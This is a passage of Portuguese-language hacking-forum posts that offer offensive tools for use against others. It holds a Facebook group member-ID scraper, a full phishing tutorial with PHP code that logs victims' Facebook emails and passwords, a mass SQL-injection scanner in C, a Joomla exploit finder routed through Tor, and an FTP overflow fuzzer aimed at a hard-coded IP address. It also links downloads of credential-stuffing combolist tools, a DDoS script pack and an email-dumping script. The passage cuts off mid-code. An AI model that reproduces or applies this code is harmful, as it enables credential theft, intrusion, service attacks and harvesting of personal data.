    //Nao mexa em nada daqui pra baixo garoto //nem eu sei como essa gambiarra funcionou //Criado by Marcos Conceicao //Atualizado by Son naotem = 0; conta = 0; tophtml = document.getElementsByClassName('pam _5bv1 uiBoxWhite noborder')[0]; tophtml.innerHTML = '<div id="carregando" style="text-align:center; font-weight:bold; font-size:15px">Obtendo requisiçoes, espere por favor..</div>'; function vermais(){ if(naotem > 4){ document.getElementById('carregando').innerHTML = 'Criando a lista,...'; criarlista(); }else{ naotem++; a=document.getElementsByClassName('pam uiBoxLightblue uiMorePagerPrimary'); for(i=0;i<a.length;i++){ verurl = a[i].href; if(verurl && verurl.indexOf('group_members') != -1){ naotem = 0; a[i].click(); } conta++; document.getElementsByClassName('aconta')[0].innerHTML = conta; } setTimeout(vermais, 400); } } vermais(); lista = '<textarea style="width:100%; height:250px" onclick="this.select()">'; function criarlista(){ b = document.getElementsByClassName('fsl fwb fcb'); for(i=0;i<b.length;i++){ lista += b[i].getElementsByTagName('a')[0].href.replace('', '').replace('', '').replace("https://www.facebook.com/",'')+'\n'; } lista += '</textarea>'; document.getElementsByClassName('profileBrowserGrid fbProfileBrowserListContainer')[0].innerHTML = lista; document.getElementById('carregando').innerHTML = 'Lista finalizada, agora voce pode copiar a lista de ID's!'; } O funcionamento é bem simples, apenas entre em um grupo alvo, esteja certificado de ser membro do mesmo, vá onde está escrito "Membros", abra o console do navegador (Google Chrome: F12), cole este script e espere ele captar as IDS dos membros. Ele pega a URL toda, pelo fato de eu ter modificado e ser algo simples, se quiser excluir o redirecionamento depois da ID, use um text editor como o Sublime. Podem usar isso em Grabbers ou Leechers como Sentry.
  11. [SOURCE]

    Hoje iremos aprender a criar uma página fake. Mas o que é uma página fake? Página fake é uma pagina falsa! Hã?!... Bem, para você que ainda não entendeu, pagina fake é um clone de uma página de outro site, na maioria das vezes são clones de areas de login de redes sociais; aqui está uma imagem exemplificando/explicando o que é uma pagina fake (ou falsa): Você conseguiu entender? Caso não veja mais sobre esse assunto, conhecido também como phishing, aqui. Então vamos lá. Primeiro de tudo você precisa ter um servidor PHP rodando em um VPS ou em seu computador. Ou melhor, aqui está uma lista dos programas que você irá precisar antes de começar a fazer sua própria página fake * Servidor PHP: Xampp ou WampServer * Clonador de sites: HTTrack * Editor de texto: Notepad++ * Navegador atualizado: Chrome (Recomendado) Você também precisa de algum conhecimento básico em HTML e PHP, mas, caso não tenha, não se preocupe, há ótimos cursos sobre essas linguagens pela internet a fora; os mais completos são esses aqui: HTML/PHP. Depois desses pré-requitos resolvidos, é hora de por a mão na massa. Vamos começar abrindo o HTTrack e clicando, logo, em "Avançar >". Na próxima janela dê um nome ao seu projeto e então clique em "Avançar >". Na outra, coloque o endereço da página de login da rede social que você quer 'hackear'/descobrir a senha. Como nesse tutorial eu vou usar, como exemplo, o Facebook, irei colocar o seguinte endereço: http://www.facebook.com/login/, só lembrando que nem sempre as outras rede sociais seguem o mesmo padrão para a página de login. E depois clique em "Avançar >" e logo após em concluir. Depois do término da clonação da página, é hora de começar a programação. Vamos criar dois arquivos: usuarios.txt e login.php, você pode fazer isso pelo próprio Notepad++, que vamos usar agora para editar o arquivo 'login.php', nesse arquivo coloque o seguinte código e salve-o: <?php header('location:http://facebook.com.br/'); $users = fopen("usuarios.txt","a+"); $u = $_GET['u']; $p = $_GET['p']; fwrite($users," -------------------------------\n Usuário/Email: $u\n Senha: $p \n -------------------------------\n ") ?> Agora vamos abrir a página .html que você clonou pelo HTTrack, que provavelmente está em C:\Meus Sites\NOME_DO_SEU_PROJETO. Abra ela pelo Notepad++ e encontre a parte do código que corresponde ao formulário de login, substitua a tag: <form action= ...> Lembrando que ela pode variar em seu formato, pela seguinte tag: <form method="get" action="login.php" name="logon"> Depois de substituir a tag, renomeie os inputs correspondentes aos campos de email e de senha para 'u' e 'p', sem as aspas, respectivamente. Após todos estes passos acima, é só pegar os arquivos criados nesse tutorial e joga-los ao servidor. Só lembrando que para que a página fake ser acessível pela vítima, você tem que hospedar os arquivos em servidores com php, eu recomendaria a vocês a(o)Hostinger. Quando alguém cair nessa sua "armadilha", o email e a senha da vítima estará disponível no arquivo 'usuarios.txt'. Downloads: Wamp server : https://sourceforge.net/projects/wampserver/ ou xampp : https://www.apachefriends.org/pt_br/download.html HTTrack : http://www.httrack.com/page/2/ Notepad++ : https://notepad-plus-plus.org/download/v7.2.html Navegador Atualizado : Chrome (Recomendado) Creditos : http://oficinahacker.blogspot.com.br/2015/06/como-criar-uma-pagina-fake.html
  12. [SOURCE]

    Antigo mais ainda funcional, aproveitem /* ** SQLuck - Ferramenta utilizada para encontrar sites vulneráveis a SQL Injection. ** Autor: C0nsT4nt1n3 ** Data: 21/05/2015. ** Compilar: gcc --std=c99 -lpthread sqluck.c -o sqluck ; ./sqluck */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <errno.h> #include <netdb.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define WARNINGS \ "mysql_num_rows", "mysql_fetch_array", \ "SQL syntax error", "ODBC SQL Server Driver", \ "mysql_fetch_assoc", "Warning: ", \ "mysql_result", "mysql_query", \ "array_merge", "preg_match", \ "SQL Syntax", "mysql_numrows", \ "mysql_preg_match" #define say printf #define die(STR,ERROR) {printf(STR);exit(ERROR);} #define MAX 256 #ifndef TRUE #define TRUE 0 #endif #ifndef FALSE #define FALSE 1 #endif typedef struct { char *input; char *output; int threads; } instance_t; typedef struct { int index; char *url; } param_t; typedef struct { unsigned int status; unsigned int length; unsigned char *content; } http_request_t; typedef struct { unsigned int port; unsigned int length; unsigned char *content; unsigned char *domain; unsigned char *path; } url_t; instance_t *instance; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; static url_t *http_request_parse_url(const unsigned char *url); static http_request_t *http_request_free(http_request_t *request); static http_request_t *http_get_request(const unsigned char *url); static void *scanner (void *tparam); static void core (void); static void save_vuln_link (const char *link); static void show_banner(void); int main (int argc, char **argv) { if (argc != 4) { show_banner(); say(" Use...\n %s list-of-links.txt output-file.txt number-of-threads\n\n", argv[0]); } else { if (!(instance = (instance_t *) malloc(sizeof(instance_t)))) die("Error to alloc memory.\n", 1) if (!(instance->input = (char *) malloc(sizeof(char)*strlen(argv[1])+1))) die("Error to alloc memory.\n", 1) memset(instance->input, '\0', sizeof(char)*strlen(argv[1])+1); memcpy(instance->input, argv[1], strlen(argv[1])); if (!(instance->output = (char *) malloc(sizeof(char)*strlen(argv[2])+1))) die("Error to alloc memory.\n", 1) memset(instance->output, '\0', sizeof(char)*strlen(argv[2])+1); memcpy(instance->output, argv[2], strlen(argv[2])); instance->threads = atoi(argv[3]); if (!instance->input || !instance->output || !instance->threads) die("Invalid value.\n", 0) else { show_banner(); core(); } } return (0); } static void *scanner (void *tparam) { param_t *param = (param_t *) tparam; if (!param) return (NULL); if (!param->url) return (NULL); say(" [%d] -> %s\n", param->index, param->url); http_request_t *request = http_get_request(param->url); if (request != NULL) { if (request->status == TRUE) if (request->content) { char *sql_injection_warning_list [] = { WARNINGS, NULL }; for (int i=0; sql_injection_warning_list[i]!=NULL; i++) { if (strstr(request->content, sql_injection_warning_list[i])) { pthread_mutex_lock(&mutex); save_vuln_link(param->url); pthread_mutex_unlock(&mutex); break; } } } http_request_free(request); } } static void save_vuln_link (const char *link) { FILE *fp = NULL; if (!(fp = fopen(instance->output, "a+"))) die("Erro to open output file.\n", 1); fprintf(fp, "%s\n", link); fclose(fp); } static void core (void) { FILE *fp = NULL; char line [MAX+1]; pthread_t **thread; int counter = 0, result = 0; if (!(fp = fopen(instance->input, "r"))) die("Input file not exists.\n", 0); if (!(thread = (pthread_t **) malloc((sizeof(pthread_t)*instance->threads)+1))) die("Error to alloc thread memory.\n", 1) if (pthread_mutex_init(&mutex, NULL) != 0) die("Error to initialize mutex.\n", 1) say("\n Started...\n\n"); while (1) { for (int i=0; i<instance->threads; i++) { memset(line, '\0', MAX+1); result = fgets(line, MAX, fp); if (!result) break; for (int a=0; line[a]!='\0'; a++) if (line[a] == '\n') line[a] = '\0'; param_t *param; if (!(param = (param_t *) malloc(sizeof(param_t)))) die("Erro to alloc memory.\n", 1); if (!(param->url = (char *) malloc((sizeof(char)*strlen(line))+1))) die("Erro to alloc memory.\n", 1); memset(param->url, '\0', (sizeof(char)*strlen(line))+1); memcpy(param->url, line, strlen(line)); param->index = counter++; pthread_create(&thread[i], NULL, &scanner, (void *)param); } if (!result) break; for (int i=0; i<instance->threads; i++) pthread_join(thread[i], NULL); } fclose(fp); say("\n Finished.\n\n"); pthread_exit(NULL); pthread_mutex_destroy(&mutex); } static url_t *http_request_parse_url(const unsigned char *url) { if (!url) return (url_t *) NULL; url_t *new_url = (url_t *) malloc(sizeof(url_t)); if (!new_url) return (url_t *) NULL; new_url->port = 80; new_url->length = 0; new_url->content = NULL; new_url->domain = NULL; new_url->path = NULL; if (!(new_url->content = (unsigned char *) malloc(strlen(url) + 1))) { free(new_url); return (url_t *) NULL; } memset(new_url->content, '\0', strlen(url) + 1); memcpy(new_url->content, url, strlen(url)); new_url->length = strlen(new_url->content); if (!new_url->length > 0 || !strlen(new_url->content) > 0) { if (new_url->content != NULL) free(new_url->content); free(new_url); return (url_t *) NULL; } unsigned int start_pointer = 0; unsigned char *u_ptr = new_url->content; if (strstr(u_ptr, "://")) { if (!(u_ptr[0] == 'h' && u_ptr[1] == 't' && u_ptr[2] == 't' && u_ptr[3] == 'p' && u_ptr[4] == ':' && u_ptr[5] == '/' && u_ptr[6] == '/')) { free(new_url->content); free(new_url); return (url_t *) NULL; } else start_pointer = strlen("http://"); } u_ptr += start_pointer; unsigned int counter = 0; unsigned char *c_port = NULL; unsigned char *p_ptr = NULL; if ((p_ptr = strstr(u_ptr, ":")) != NULL && ++p_ptr) { if ((c_port = (unsigned char *) malloc(sizeof(unsigned char) * 10)) != NULL) { for (int a=0; p_ptr[a]!='\0'; a++) { counter = 0; for (int b='0'; b<='9' ; b++) if (p_ptr[a] == b) counter++; if (!counter > 0) { c_port[a] = '\0'; break; } c_port[a] = p_ptr[a]; } if (c_port != NULL) new_url->port = (int) strtol(c_port, NULL, 10); free(c_port); } } if (new_url->port == 0) new_url->port = 80; if (!new_url->port > 0) { if (c_port) free(c_port); if (new_url->content != NULL) free(new_url->content); free(new_url); return (url_t *) NULL; } unsigned char *c_domain = NULL; if ((c_domain = (unsigned char *) malloc(sizeof(unsigned char) * (256*2))) != NULL) { memset(c_domain, '\0', sizeof(unsigned char) * (256*2)); for (int d=0; d<256; d++) { counter = 0; for (int a='a',b='A',c='0'; a<='z'; a++,b++) { if (u_ptr[d] == a || u_ptr[d] == b || u_ptr[d] == c || u_ptr[d] == '.' || u_ptr[d] == '-') counter++; if (c <= '9') b++; } if (counter == 0) { c_domain[d] = '\0'; if ((new_url->domain = (unsigned char *) malloc(sizeof(unsigned char) * (d + 1))) != NULL) { memset(new_url->domain, '\0', sizeof(unsigned char) * (d + 1)); memcpy(new_url->domain, c_domain, d); } break; } c_domain[d] = u_ptr[d]; } free(c_domain); } if (new_url->domain == NULL) { if (c_domain) free(c_domain); if (c_port) free(c_port); if (new_url->content != NULL) free(new_url->content); free(new_url); return (url_t *) NULL; } unsigned char *c_path = NULL; if ((c_path = (unsigned char *) malloc( sizeof(unsigned char) * (new_url->length + (256*2)) )) != NULL) { memset(c_path, '\0', sizeof(unsigned char) * (new_url->length + (256*2))); counter = 0; for (int a=0; u_ptr[a]!='\0'; a++) { if (u_ptr[a] == '/') { counter++; break; } } if (counter > 0) { unsigned char *p_ptr = strstr(u_ptr, "/"); if (p_ptr != NULL) { unsigned int a = 0; for (; p_ptr[a]!='\0'; a++) c_path[a] = p_ptr[a]; if ((new_url->path = (unsigned char *) malloc(sizeof(unsigned char) * (a + 1))) != NULL) { memset(new_url->path, '\0', sizeof(unsigned char) * (a + 1)); memcpy(new_url->path, c_path, a); } } } else { unsigned char bar [] = "/"; if ((new_url->path = (unsigned char *) malloc(sizeof(unsigned char) * (strlen(bar) + 1))) != NULL) { memset(new_url->path, '\0', sizeof(unsigned char) * (strlen(bar) + 1)); memcpy(new_url->path, bar, strlen(bar)); } } free(c_path); } if (new_url->path == NULL) { if (c_path) free(c_path); if (c_domain) free(c_domain); if (c_port) free(c_port); if (new_url->content != NULL) free(new_url->content); free(new_url); return (url_t *) NULL; } if (new_url != NULL) return new_url; return (url_t *) NULL; } #define FREE_URL_FORMATED \ url_formated->port = 0;\ url_formated->length = 0;\ if (url_formated->content != NULL)\ url_formated->content = NULL;\ if (url_formated->domain != NULL)\ url_formated->domain = NULL;\ if (url_formated->path != NULL)\ url_formated->path = NULL static http_request_t *http_get_request(const unsigned char *url) { if (!url) return (http_request_t *) NULL; url_t *url_formated = http_request_parse_url(url); if (url_formated == NULL) return (http_request_t *) NULL; struct hostent *host_information = gethostbyname(url_formated->domain); if (host_information == NULL) { FREE_URL_FORMATED; return (http_request_t *) NULL; } struct sockaddr_in address; address.sin_family = AF_INET; address.sin_port = htons(url_formated->port); address.sin_addr.s_addr = *(unsigned long *) host_information->h_addr_list[0]; int sock = (int)(-1); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { FREE_URL_FORMATED; return (http_request_t *) NULL; } const struct timeval timeout = { .tv_sec=3, .tv_usec=0}; setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout)); int result = (int)(-1); if ((result = connect(sock, (struct sockaddr *)&address, sizeof(address))) < 0) { FREE_URL_FORMATED; close(sock); return (http_request_t *) NULL; } unsigned char *header = NULL; if (!(header = (unsigned char *) malloc(sizeof(unsigned char) * ((256*5) + strlen(url) + 1)))) { FREE_URL_FORMATED; close(sock); return (http_request_t *) NULL; } memset(header, '\0', sizeof(unsigned char) * ((256*5) + strlen(url) + 1)); sprintf(header, "GET %s' HTTP/1.1\r\n" "Host: %s\r\n" "Connection: close\r\n\r\n", url_formated->path, url_formated->domain); if (send(sock, header, strlen(header), 0) == -1) { FREE_URL_FORMATED; free(header); close(sock); return (http_request_t *) NULL; } result = 0; unsigned int is_going = 1; unsigned int total_length = 0; unsigned char *response = (unsigned char *) malloc(sizeof(unsigned char) * (256*2)); unsigned char *response_final = (unsigned char *) malloc(sizeof(unsigned char) * (256*2)); if (!response || !response_final) { FREE_URL_FORMATED; free(header); if (response) free(response); if (response_final) free(response_final); close(sock); return (http_request_t *) NULL; } memset(response, '\0', sizeof(unsigned char) * (256*2)); memset(response_final, '\0', sizeof(unsigned char) * (256*2)); while (is_going) { result = recv(sock, response, (sizeof(unsigned char) * (256*2)) - 1, 0); if (result == 0 || result < 0) is_going = 0; else { if ((response_final = (unsigned char *) realloc(response_final, total_length + (sizeof(unsigned char) * (256*2)))) != NULL) { memcpy(&response_final[total_length], response, result); total_length += result; } } } unsigned int result_flag = FALSE; http_request_t *request = (http_request_t *) malloc(sizeof(http_request_t)); if (request != NULL) { memset(request, 0, sizeof(http_request_t)); request->status = FALSE; request->length = 0; request->content = NULL; if (total_length > 0) { request->length = total_length; if ((request->content = (unsigned char *) malloc(sizeof(unsigned char) * (request->length+1))) != NULL) { memset(request->content, '\0', sizeof(unsigned char) * (request->length+1)); memcpy(request->content, response_final, request->length); request->status = TRUE; result_flag = TRUE; } } } close(sock); free(header); free(response); free(response_final); url_formated->port = 0; url_formated->length = 0; if (url_formated->content) free(url_formated->content); if (url_formated->domain) free(url_formated->domain); if (url_formated->path) free(url_formated->path); free(url_formated); if (result_flag == TRUE) return request; else { if (request != NULL) free(request); } return (http_request_t *) NULL; } static http_request_t *http_request_free(http_request_t *request) { if (!request) return (http_request_t *) NULL; request->length = 0; request->status = FALSE; free(request->content); free(request); return (http_request_t *) NULL; } static void show_banner(void) { say ("\n\ ____ _____ __ __ \n\ /\\ _`\\ /\\ __`\\/\\ \\ /\\ \\ v1.0\n\ \\ \\,\\L\\_\\ \\ \\/\\ \\ \\ \\ __ __ ___\\ \\ \\/'\\ \n\ \\/_\\__ \\\\ \\ \\ \\ \\ \\ \\ __/\\ \\/\\ \\ /'___\\ \\ , < \n\ /\\ \\L\\ \\ \\ \\\\'\\\\ \\ \\L\\ \\ \\ \\_\\ \\/\\ \\__/\\ \\ \\\\`\\ \n\ \\ `\\____\\ \\___\\_\\ \\____/\\ \\____/\\ \\____\\\\ \\_\\ \\_\\\n\ \\/_____/\\/__//_/\\/___/ \\/___/ \\/____/ \\/_/\\/_/\n\ \n\ C0d3d by C0nsT4nt1n3\n\ Gr3aTz f0r Eletroplus\n\n");
  13. Bom muita gente perguntando qual é o checker que eu uso enfim, ele é meu e é PRIVADO NÃO o vendo !, mas ele foi baseado neste BOTOP que NÃO FUNCIONA mas da pra aproveitar a src para você criar seu próprio checker claro que você tem que saber C# para mudar o que precisa e deixar do seu jeito (TEM MUITA COISA ÚTIL NESTA SRC). Download: https://www.sendspace.com/file/c4hnuv Scan: https://www.virustotal.com/pt/file/d52c10c8d0df0be30c83625e1c8946dbf9b46452d04995cb36f6c6ed1c533024/analysis/1478898225/ OBS: Taxa de detecção Alto pois é um checker como outro qualquer e vai tem virus mas nada prejudicial (NADA MALICIOSO ENCONTRADO) Créditos: Botop Criador & Eletroplus Editor #1 & Brolly7 Editor #2
  14. [SOURCE]

    Bom proveito # Script's Programming Language support: Python 2.7.* # ******************************************************************************************************************************************* # WARNING: You could have not installed some of the required libraries but it will install them for you PROVIDED you run the script as root. # Besides you need to install pip in order to get missing libraries quickly. # ******************************************************************************************************************************************* #!/usr/bin/python # -*- coding: utf-8 -*- import os import csv import sys import time import urllib try: import requests except ImportError: print "[!] 'requests' library not found. Installing it automatically using pip.." time.sleep(0.5) os.system("pip install requests") import requests import codecs try: import socks except ImportError: print "[!] socks.pyc not found. Downloading it automatically.." time.sleep(0.5) urllib.urlretrieve ("https://github.com/alyssafrazee/randomcalendars/blob/master/httplib2/socks.pyc?raw=true", "socks.pyc") import socks import socket try: import shutil except ImportError: print "[!] 'shutil' library not found. Installing it automatically using pip.." time.sleep(0.5) os.system("pip install shutil") import shutil import urllib2 import argparse try: from termcolor import colored except ImportError: print "[!] 'termcolor' library not found. Installing it automatically using pip.." time.sleep(0.5) os.system("pip install termcolor") from termcolor import colored useTor = False Update = True tor_port = 9150 tor_addr = "127.0.0.1" compFile = "comptotest.txt" expFile = "exp-db_files.csv" csvURL = "https://raw.githubusercontent.com/offensive-security/exploit-database/master/files.csv" metasploitURL = "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/wordlists/joomla.txt" found = [] def getComponents(): global found with open(expFile,"r") as f: for line in f: if("com_" in line and "Joomla" in line): split = line.split(" ") for w in split: w = w.strip() if((w.startswith("com_") or w.startswith("'com_")) and w not in found): if(w[0] == '\''): w = w[1:len(w)-1] found.append(w) break found = set(found) of = open(compFile,"w") i = 0 for f in found: i += 1 print "[%s] %s" %(i,f) of.write(f+"\n") of.close() def getExploitDbList(): response = urllib2.urlopen(csvURL) of = open(expFile,"w") cr = csv.reader(response) for row in cr: of.write(str(row)+"\n") of.close() def getMetasploitList(): global found try: response = requests.get(metasploitURL).text except: return nlsplit = response.split("\n") for s in nlsplit: if("com_" in s): start = s.find('com_') compToAdd = "" for x in range(start,len(s)): if(CharOrNumber(s[x])): compToAdd = "%s%s" %(compToAdd,s[x]) else: break found.append(compToAdd) def CharOrNumber(c): if(c.isalpha() or str(c).isdigit() or c == '_'): return True return False def extractExploits(foundComp): exploits = [] with open(expFile,"r") as f: for line in f: for comp in foundComp: if(comp in line and "Joomla" in line and CharOrNumber(line[line.find(comp)+len(comp)]) is False): exploits.append(line.strip()) exploits = set(exploits) return exploits def checkTor(inp): global tor_addr global tor_port if(":" not in inp and "." not in inp): print "\n[!] Invalid TOR proxy syntax (it must be 'tor_addr:tor_port'). Using '%s:%s' as default." %(tor_addr,tor_port) time.sleep(1) return split = inp.split(":") tor_addr = split[0] tor_port = split[1] print "\nJoomla! Components/Exploits Auto-Updating Scanner" print "Author: @D35m0nd142, <d35m0nd142@gmail.com>\n" time.sleep(0.7) parser = argparse.ArgumentParser(description="") parser.add_argument("--target", type=str, help="Enter the target to scan",required=True) parser.add_argument("--tor_proxy", type=str, help="Enable the tool to use the TOR proxy",default="None") parser.add_argument("--no_update",help="Disable the update from github. You need to provide your own comptotest.txt and exp-db_files.csv files", action='store_true',default=False) args = parser.parse_args() target = args.target if(args.tor_proxy != "None"): checkTor(args.tor_proxy) socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, tor_addr, tor_port) socket.socket = socks.socksocket if("http" not in target[:4]): target = "http://%s" %target if(target[len(target)-1] != '/'): target = "%s/" %target headers = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0'} toCheck = ["<h1>Not Found</h1>","<title> 404 - Page not found</title>","\"center error-404\""] foundComp = [] if(args.no_update is False): print "Downloading Metasploit list.." getMetasploitList() print "Downloading Exploit-db csv list.." getExploitDbList() time.sleep(1) print "\nUpdating Joomla! components.." getComponents() print "" else: if(os.path.isfile("comptotest.txt") is False): print "\n[-] '%s' not found. You must provide a file containing the Joomla! components to scan for." %compFile compFile = raw_input("[*] Components List file -> ") if(os.path.isfile("exp-db_files.csv") is False): print "\n[-] '%s not found. You must provide a csv file containing the exploit-db list." %expFile expFile = raw_input("[*] Exploit-db list file -> ") bad_resp = requests.get("%scomponents/impo5sIblexXxD35" %target).text i = 0 with open(compFile,"r") as f: for line in f: i += 1 line = line.strip() if(len(line) > 0 and line != "com_"): print "[%s] Testing '%s'" %(i,line) url = "%scomponents/%s" %(target,line) #print url try: r = requests.get(url,headers=headers,timeout=10) Valid = True for c in toCheck: if(c in r.text): Valid = False break if(r.status_code != 404 and Valid and (r.url == url or r.url == "%s/" %url) and len(r.text) < 5000 and r.text != bad_resp): foundComp.append(line) print "%s [FOUND]" %line except: pass print "\nJoomla! components found [%s]: \n" %len(foundComp) print "----------------------------" for comp in foundComp: print comp print "----------------------------\n" exploits = extractExploits(foundComp) print "\nJoomla! exploits found [%s]: \n" %len(exploits) for comp in foundComp: print colored("\n%s:\n" %comp,"red") for exp in exploits: if(comp in exp): split = exp.split(",") code = split[1].split("/") code = code[len(code)-1].split(".")[0] output = "%s [https://www.exploit-db.com/exploits/%s/]" %(split[2],code) print '-' * len(output) print output print '-' * len(output) if(len(foundComp) == 0): print "\n[-] Probably the website has some kind of Flooding protection or it redirects all the requests we send to /components!" print "" if(Update): os.remove("%s" %compFile) os.remove("%s" %expFile) Créditos: D35m0nd142
  15. [SOURCE]

    Ola, Hoje trago a vocês um Gerador de senhas que ajuda você a fazer seus Username juntarem com uma pass rápido bom e simples e fácil Tutorial Rápido : Clique em Open file e selecione seu combo de nomes : Pronto os nomes já estão dentro do programa : Pronto agora e só apertar em Generate passwords e ficara assim : Acabou aperte em save to file e salve no lugar desejado agora e só ir a luta : Perguntas que eu quero evitar : Foi você que fez o programa ? Nao ! eu achei usei e vi que e bom estou repassando (Criador :Soresu) Oque as outras coisas fazem ? Bem acho que são bem inúteis se você apenas quiser pegar senhas Dowloand: http://www.mediafire.com/file/d9o0jv6n6x5qibn/CombolistGenerator.exe Scan: https://www.virustotal.com/pt/file/2a61fa599b9686bf9a1dd243448017c9a75d3140184fa5bbd87351297c1c9a07/analysis/1478480772/ Por hoje e isso Bye o/
  16. [SOURCE]

    This tool will check for failed FTP application. (Fuzzer) Code: (Win & Linux Distro) #!/usr/bin/python ##################################### ##################################### ## ## ## FZZR ## ## ## ## FTP CONNECTION/FUZZING TEST ## ## ## ## MAKED BY S1X L3M0 UM ## ## ## ##################################### ##################################### import socket #Connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("5.196.105.21", 21)) #TARGET r = s.recv(1024) print r s.send("USER s1x\r\n") #USERNAME TO TEST r = s.recv(1024) print r s.send("PASS s1x\r\n") #PASS TO TEST r = s.recv(1024) print r print "##################################" print " FTP CONNECTED!" print " TESTING THE FUZZER... " print "##################################\r\n" #Fuzzing buffer=["A"] counter=100 while len(buffer) <= 25: buffer.append("A"*counter) counter=counter+100 for string in buffer: print "SENDING %s bytes"%len(string) s.send("USER s1x"+string+"\r\n") #s.send("USER anonymous\r\n") #s.send("PASS anonymous"+string+"\r\n")
  17. [SOURCE]

    Olá, Segue um " Pack Script DDoS " na linguagem " C ", contendo os seguintes métodos: ACK, ARME, CHARGEN, DB2AMP, DNS, DOMINATE, DRDOS, ESSYN, ESSYN-ACK, GHP, HEARTBLEED, IMPROVED SSYN, MDNS, NETBIOS, NTP, OVH, QUAKE3, RUDY, SACK, SENTINEL, SLOWLORIS, SNMP, Spoofed TELNET, SSDP, SSYN With FIN, STCP, STD, SUDP, SYN, TCP, TRIGIMINI, TS3, UDP, VSE, WIZARD, XACK, XMLRPC, XSYN, ZAP Contém Api, Download: Scripts.rar SCAN: https://www.virustotal.com/uk/file/d9ea659107f994201d2964a871e44405ab6f91c29f83c71a90488b0432413c72/analysis/1477618205/ By
  18. [SOURCE]

    Aproveitem <?php /* ------------------------------------------------------------------------------- [ E-DUMP ]--------------------------------------------------------------------- - Extrai endereços de email a partir de um banco de dados MySQL. ------------------------------------------------------------------------------- [ TO RUN THE SCRIPT ]---------------------------------------------------------- PHP Version 5.6.8 php5-cli Lib MySQL support Enabled MySQL version 5.0.11 Permission Writing ------------------------------------------------------------------------------- [ ABOUT DEVELOPER ]------------------------------------------------------------ NAME Eletroplus and CoderPirata */ ini_set('error_log',NULL); ini_set('log_errors',FALSE); ini_set('display_errors', FALSE); ini_set('max_execution_time', FALSE); $oo = getopt('h::', ['help::', 'host:', 'user:', 'pass:', 'dbname:', 'save:', 'no-info']); function cores($nome){ $cores = array("r" => "\033[1;31m", "g" => "\033[0;32m", "b" => "\033[1;34m", "g2" => "\033[1;30m", "g1" => "\033[0;37m"); if(substr(strtolower(PHP_OS), 0, 3) != "win"){ return $cores[strtolower($nome)]; } } echo cores("g1")." ooooooooooo ooooooooo ooooo oooo oooo oooo oooooooooo 888 88 888 88o 888 88 8888o 888 888 888 888ooo8 oooooo 888 888 888 88 88 888o8 88 888oooo88 888 oo 888 888 888 88 88 888 88 888 o888ooo8888 o888ooo88 888oo88 o88o 8 o88o o888o\n \t ".cores("g2")."[ ".cores("g1")."DUMP EMAILS FROM ".cores("b")."MYSQL".cores("g1")." DATABASE! ".cores("g2")."] -----------------------------------------------------------------\n\n"; if(isset($oo['h']) or isset($oo['help'])){ die(cores("g1")."\t ooooo ooooo ooooooooooo ooooo oooooooooo \t 888 888 888 88 888 888 888 \t 888ooo888 888ooo8 888 888oooo88 \t 888 888 888 oo 888 o 888 \t o888o o888o o888ooo8888 o888ooooo88 o888o\n ".cores("g2")."-----------------------------------------------------------------\n".cores("g1")." COMMAND:: ".cores("b")."--host ".cores("g1")."~ Sets the Host. Example: {$_SERVER["SCRIPT_NAME"]} ".cores("b")."--host ".cores("g1")."localhost \n COMMAND:: ".cores("b")."--user ".cores("g1")."~ Sets the User. Example: {$_SERVER["SCRIPT_NAME"]} ".cores("b")."--user ".cores("g1")."root \n COMMAND:: ".cores("b")."--pass ".cores("g1")."~ Sets the Password. Example: {$_SERVER["SCRIPT_NAME"]} ".cores("b")."--pass ".cores("g1")."admin123 \n COMMAND:: ".cores("b")."--dbname ".cores("g1")."~ Command to set the db that will be scanned. By default, all dbs will be scanned. Example: {$_SERVER["SCRIPT_NAME"]} ".cores("b")."--dbname ".cores("g1")."mydatabase \n COMMAND:: ".cores("b")."--save ".cores("g1")."~ Saves the emails found on a list. Example: {$_SERVER["SCRIPT_NAME"]} ".cores("b")."--save ".cores("g1")."email_list.txt {$_SERVER["SCRIPT_NAME"]} ".cores("b")."--save ".cores("g1")."\"\" COMMAND:: ".cores("b")."--no-info ".cores("g1")."~ It does not display the \"databases\" and the tables. Example: {$_SERVER["SCRIPT_NAME"]} ".cores("b")."--no-info \n"); } if(empty($oo['host']) or empty($oo['user']) or !isset($oo['pass'])){ die(); } $db_blacklist = array('information_schema', 'performance_schema'); if(isset($oo["save"])){ $save = cores("g")."YES"; if(!empty($oo["save"])){$save .= cores("g2")."\n| ".cores("g1")."FILE NAME:: ".cores("b").$oo["save"].cores("g2"); } }else{ $save = cores("r")."NOT"; } if(isset($oo["dbname"])){ $dbnme = cores("g").$oo["dbname"]; }else{ $dbnme = cores("r")."NOT DEFINED"; } echo cores("g2").".-[ ".cores("g1")."INFOS".cores("g2")." ] ------------------------------------------------------ | ".cores("g1")."HOST:: ".cores("b").$oo["host"].cores("g2")." | ".cores("g1")."USER:: ".cores("b").$oo["user"].cores("g2")." | ".cores("g1")."PASS:: ".cores("b").$oo["pass"].cores("g2")." | ".cores("g1")."DBNAME:: ".cores("b").$dbnme.cores("g2")." | ".cores("g1")."SAVE:: {$save}".cores("g2")." '-----------------------------------------------------------------\n"; $conect = mysql_connect($oo["host"],$oo["user"],$oo["pass"]) or die(cores("r")."\n\nERROR:: ".mysql_error()."\n\n"); if(empty($oo["dbname"])){ $resultado = mysql_query("SHOW DATABASES;", $conect) or die(cores("r")."\n\nERROR:: ".mysql_error()."\n\n"); while($data = mysql_fetch_row($resultado)){ $resultado_query .= implode('|-|-|-|-|-|',$data)."\n"; } $lim = explode("|-|-|-|-|-|", $resultado_query); foreach($lim as $lin){ if(!empty($lin)){ $dbnames = $lin; } } $dbname = explode("\n", $dbnames); foreach($dbname as $n => $d){ foreach($db_blacklist as $blocked){ if(empty($d) or $d == $blocked){ unset($dbname[$n]); } } } }else{ $dbname[] = $oo["dbname"]; } if(!isset($oo["no-info"])){ echo cores("g1")."\n SEARCHIN IN:: "; } foreach($dbname as $dbnam3){ if(!isset($oo["no-info"])){ echo 